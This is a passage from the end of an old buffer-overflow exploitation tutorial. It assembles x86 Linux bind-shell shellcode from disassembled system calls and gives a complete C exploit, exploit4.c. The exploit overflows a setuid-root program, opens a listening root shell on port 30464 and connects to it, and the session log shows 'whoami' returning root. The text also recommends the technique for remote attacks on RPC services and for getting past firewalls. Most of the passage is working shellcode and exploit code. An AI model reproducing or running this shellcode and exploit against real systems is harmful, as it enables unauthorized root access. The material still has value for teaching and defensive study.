		bind(soc,(struct sockaddr *)&serv_addr,0x10);
		listen(soc,1);
		cli=accept(soc,0,0);
		dup2(cli,0);
		dup2(cli,1);
		dup2(cli,2);
		execl("/bin/sh","sh",0);
	}
}
----------------------------------------------------------------------------

compile and disassemble
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
[ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 <fork>:       movl   $0x2,%eax
0x804ca95 <fork+5>:     int    $0x80
0x804ca97 <fork+7>:     cmpl   $0xfffff001,%eax
0x804ca9c <fork+12>:    jae    0x804cdc0 <__syscall_error>
0x804caa2 <fork+18>:    ret    
0x804caa3 <fork+19>:    nop    
0x804caa4 <fork+20>:    nop    
0x804caa5 <fork+21>:    nop    
0x804caa6 <fork+22>:    nop    
0x804caa7 <fork+23>:    nop    
0x804caa8 <fork+24>:    nop    
0x804caa9 <fork+25>:    nop    
0x804caaa <fork+26>:    nop    
0x804caab <fork+27>:    nop    
0x804caac <fork+28>:    nop    
0x804caad <fork+29>:    nop    
0x804caae <fork+30>:    nop    
0x804caaf <fork+31>:    nop    
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 <socket>:     movl   %ebx,%edx
0x804cda2 <socket+2>:   movl   $0x66,%eax
0x804cda7 <socket+7>:   movl   $0x1,%ebx
0x804cdac <socket+12>:  leal   0x4(%esp,1),%ecx
0x804cdb0 <socket+16>:  int    $0x80
0x804cdb2 <socket+18>:  movl   %edx,%ebx
0x804cdb4 <socket+20>:  cmpl   $0xffffff83,%eax
0x804cdb7 <socket+23>:  jae    0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>:  ret    
0x804cdbe <socket+30>:  nop    
0x804cdbf <socket+31>:  nop    
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>:       movl   %ebx,%edx
0x804cd62 <bind+2>:     movl   $0x66,%eax
0x804cd67 <bind+7>:     movl   $0x2,%ebx
0x804cd6c <bind+12>:    leal   0x4(%esp,1),%ecx
0x804cd70 <bind+16>:    int    $0x80
0x804cd72 <bind+18>:    movl   %edx,%ebx
0x804cd74 <bind+20>:    cmpl   $0xffffff83,%eax
0x804cd77 <bind+23>:    jae    0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>:    ret    
0x804cd7e <bind+30>:    nop    
0x804cd7f <bind+31>:    nop    
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>:     movl   %ebx,%edx
0x804cd82 <listen+2>:   movl   $0x66,%eax
0x804cd87 <listen+7>:   movl   $0x4,%ebx
0x804cd8c <listen+12>:  leal   0x4(%esp,1),%ecx
0x804cd90 <listen+16>:  int    $0x80
0x804cd92 <listen+18>:  movl   %edx,%ebx
0x804cd94 <listen+20>:  cmpl   $0xffffff83,%eax
0x804cd97 <listen+23>:  jae    0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>:  ret    
0x804cd9e <listen+30>:  nop    
0x804cd9f <listen+31>:  nop    
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>:   movl   %ebx,%edx
0x804cd42 <__accept+2>: movl   $0x66,%eax
0x804cd47 <__accept+7>: movl   $0x5,%ebx
0x804cd4c <__accept+12>:        leal   0x4(%esp,1),%ecx
0x804cd50 <__accept+16>:        int    $0x80
0x804cd52 <__accept+18>:        movl   %edx,%ebx
0x804cd54 <__accept+20>:        cmpl   $0xffffff83,%eax
0x804cd57 <__accept+23>:        jae    0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>:        ret    
0x804cd5e <__accept+30>:        nop    
0x804cd5f <__accept+31>:        nop    
End of assembler dump.
(gdb) disassemble dup2  
Dump of assembler code for function dup2:
0x804cbe0 <dup2>:       movl   %ebx,%edx
0x804cbe2 <dup2+2>:     movl   0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>:     movl   0x4(%esp,1),%ebx
0x804cbea <dup2+10>:    movl   $0x3f,%eax
0x804cbef <dup2+15>:    int    $0x80
0x804cbf1 <dup2+17>:    movl   %edx,%ebx
0x804cbf3 <dup2+19>:    cmpl   $0xfffff001,%eax
0x804cbf8 <dup2+24>:    jae    0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>:    ret    
0x804cbff <dup2+31>:    nop    
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

fork(); code
----------------------------------------------------------------------------
char code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

socket(2,1,6); code
----------------------------------------------------------------------------
	/* %ecx is a pointer of all arguments.                   */
char code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	/* The first argument.                                   */
	/* %esi has reference free memory space before using     */
	/* this instruction.                                     */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	/* The second argument.                                  */
	"\xb0\x06"                      /* movb $0x6,%al         */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	/* The third argument.                                   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x01"                      /* movb $0x1,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
	/* %ecx is a pointer of all arguments.                   */
char code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	/* %eax has to have soc value before using this          */
	/* instruction.                                          */
	/* the first argument.                                   */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
	/* serv_addr.sin_family=2                                */
	/* 2 is stored at 0xc(%esi).                             */
	"\xb0\x77"                      /* movb $0x77,%al        */
	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	/* store port number at 0xe(%esi)                        */
	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	/* %eax = the address of serv_addr                       */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	/* the second argument.                                  */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
	/* serv_addr.sin_addr.s_addr=0                           */
	/* 0 is stored at 0x10(%esi).                            */
	"\xb0\x10"                      /* movb $0x10,%al        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	/* the third argument.                                   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x02"                      /* movb $0x2,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

listen(soc,1); code
----------------------------------------------------------------------------
	/* %ecx is a pointer of all arguments.                   */
char code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	/* %eax has to have soc value before using this          */
	/* instruction.                                          */
	/* the first argument.                                   */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	/* the second argument.                                  */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x04"                      /* movb $0x4,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

accept(soc,0,0); code
----------------------------------------------------------------------------
	/* %ecx is a pointer of all arguments.                   */
char code[]=
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\x89\xf1"                      /* movl %eax,(%esi)      */
	/* %eax has to have soc value before using this          */
	/* instruction.                                          */
	/* the first argument.                                   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	/* the second argument.                                  */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	/* the third argument.                                   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x05"                      /* movb $0x5,%bl         */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

dup2(cli,0); code
----------------------------------------------------------------------------
	/* the first argument is %ebx and the second argument    */
	/* is %ecx                                               */
char code[]=
	/* %eax has to have cli value before using this          */
	/* instruction.                                          */
	"\x88\xc3"                      /* movb %al,%bl          */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

6.3 Modify the normal shellcode

 You need some works to merge the above codes.

new shellcode
----------------------------------------------------------------------------
char shellcode[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\xcd\x80"                      /* int $0x80             */
	"\x85\xc0"                      /* testl %eax,%eax       */
	"\x75\x43"                      /* jne 0x43              */
	/* fork()!=0 case                                        */
	/* It will call exit(0)                                  */
	/* To do that, it will jump twice, because exit(0) is    */
	/* located so far.                                       */
	"\xeb\x43"                      /* jmp 0x43              */
	/* fork()==0 case                                        */
	/* It will call -0xa5                                    */
	/* To do that, it will jump twice, because call -0xa5    */
	/* is located so far.                                    */
	"\x5e"                          /* popl %esi             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x06"                      /* movb $0x6,%al         */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x01"                      /* movb $0x1,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
	"\xb0\x77"                      /* movb $0x77,%al        */
	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
	"\xb0\x10"                      /* movb $0x10,%al        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x02"                      /* movb $0x2,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xeb\x04"                      /* jmp 0x4               */
	"\xeb\x55"                      /* jmp 0x55              */
	"\xeb\x5b"                      /* jmp 0x5b              */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x04"                      /* movb $0x4,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x05"                      /* movb $0x5,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x88\xc3"                      /* movb %al,%bl          */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x01"                      /* movb $0x1,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x02"                      /* movb $0x2,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
	/* %eax="/bin"                                           */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
	/* %eax="/sh/"                                           */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
----------------------------------------------------------------------------

6.4  Exploit vulnerable4 program
 With this shellcode, you can make an exploit code easily. And You have to
make code which connects to the socket.

exploit4.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN                             0
#define OFFSET                            0
#define RET_POSITION                   1024
#define RANGE                            20
#define NOP                            0x90

char shellcode[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\xcd\x80"                      /* int $0x80             */
	"\x85\xc0"                      /* testl %eax,%eax       */
	"\x75\x43"                      /* jne 0x43              */
	"\xeb\x43"                      /* jmp 0x43              */
	"\x5e"                          /* popl %esi             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xf1"                      /* movl %esi,%ecx        */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x06"                      /* movb $0x6,%al         */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x01"                      /* movb $0x1,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb0\x02"                      /* movb $0x2,%al         */
	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
	"\xb0\x77"                      /* movb $0x77,%al        */
	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
	"\xb0\x10"                      /* movb $0x10,%al        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x02"                      /* movb $0x2,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xeb\x04"                      /* jmp 0x4               */
	"\xeb\x55"                      /* jmp 0x55              */
	"\xeb\x5b"                      /* jmp 0x5b              */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x04"                      /* movb $0x4,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\xb0\x66"                      /* movb $0x66,%al        */
	"\xb3\x05"                      /* movb $0x5,%bl         */
	"\xcd\x80"                      /* int $0x80             */
	"\x88\xc3"                      /* movb %al,%bl          */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x01"                      /* movb $0x1,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb0\x3f"                      /* movb $0x3f,%al        */
	"\xb1\x02"                      /* movb $0x2,%cl         */
	"\xcd\x80"                      /* int $0x80             */
	"\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
	"\x89\x06"                      /* movl %eax,(%esi)      */
	"\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xb0\x01"                      /* movb $0x1,%al         */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\x5b\xff\xff\xff";         /* call -0xa5            */

unsigned long get_sp(void)
{
	__asm__("movl %esp,%eax");
}

long getip(char *name)
{
	struct hostent *hp;
	long ip;
	if((ip=inet_addr(name))==-1)
	{
		if((hp=gethostbyname(name))==NULL)
		{
			fprintf(stderr,"Can't resolve host.\n");
			exit(0);
		}
		memcpy(&ip,(hp->h_addr),4);
	}
	return ip;
}

int exec_sh(int sockfd)
{
	char snd[4096],rcv[4096];
	fd_set rset;
	while(1)
	{
		FD_ZERO(&rset);
		FD_SET(fileno(stdin),&rset);
		FD_SET(sockfd,&rset);
		select(255,&rset,NULL,NULL,NULL);
		if(FD_ISSET(fileno(stdin),&rset))
		{
			memset(snd,0,sizeof(snd));
			fgets(snd,sizeof(snd),stdin);
			write(sockfd,snd,strlen(snd));
		}
		if(FD_ISSET(sockfd,&rset))
		{
			memset(rcv,0,sizeof(rcv));
			if(read(sockfd,rcv,sizeof(rcv))<=0)
				exit(0);
			fputs(rcv,stdout);
		}
	}
}

int connect_sh(long ip)
{
	int sockfd,i;
	struct sockaddr_in sin;
	printf("Connect to the shell\n");
	fflush(stdout);
	memset(&sin,0,sizeof(sin));
	sin.sin_family=AF_INET;
	sin.sin_port=htons(30464);
	sin.sin_addr.s_addr=ip;
	if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
	{
		printf("Can't create socket\n");
		exit(0);
	}
	if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
	{
		printf("Can't connect to the shell\n");
		exit(0);
	}
	return sockfd;
}

void main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	long addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	int i;
	int sockfd;

	if(argc>1)
		offset=atoi(argv[1]);

	sp=get_sp();
	addr=sp-offset;

	for(i=0;i<bsize;i+=4)
	{
		buff[i+ALIGN]=(addr&0x000000ff);
		buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	}

	for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	printf("Jump to 0x%08x\n",addr);

	if(fork()==0)
	{
		execl("./vulnerable4","vulnerable4",buff,0);
		exit(0);
	}
	sleep(5);
	sockfd=connect_sh(getip("127.0.0.1"));
	exec_sh(sockfd);
}
----------------------------------------------------------------------------

exploit the vulnerable4 program
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4
-rwsr-xr-x   1 root     root         4091 Oct 18 20:21 vulnerable4*
[ ohhara@ohhara ~ ] {2} $ ls -l exploit4
-rwxr-xr-x   1 ohhara   cse          7973 Oct 18 20:25 exploit4*
[ ohhara@ohhara ~ ] {3} $ ./exploit4
Jump to 0xbfffec64
Connect to the shell
Can't connect to the shell
[ ohhara@ohhara ~ ] {4} $ ./exploit4 500
Jump to 0xbfffea70
Connect to the shell
whoami
root
----------------------------------------------------------------------------

6.5 What can you do with this technique?
 You can make various remote exploit code with this technique. If the
vulnerable host is behind the firewall, you can open a socket in unfiltered
port. This is a very useful technique when you attack rpc service with buffer
overflow.

7. Summary
 This paper introduced four buffer overflow techniques. They are pass through
filtering, change uid back to 0, break chroot, and open socket. These
techniques will be very useful when you try to make a buffer overflow exploit
code. In addition, these techniques can be combined.
 All programers MUST be careful when making a setuid root program or server
program!!! PLEASE BE CAREFUL!!!!!

8. References
 Smashing The Stack For Fun And Profit by Aleph1
 wu-ftpd remote exploit code by duke
 ADMmountd remote exploit code by ADM

9. Etc
 Sorry for my poor English. :(

 Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
----------------------------------------------------------------------------


                 ------------------------------------------
                 Special thanks to all of PLUS members. ^_^
                 ------------------------------------------



-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------



-- 

Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug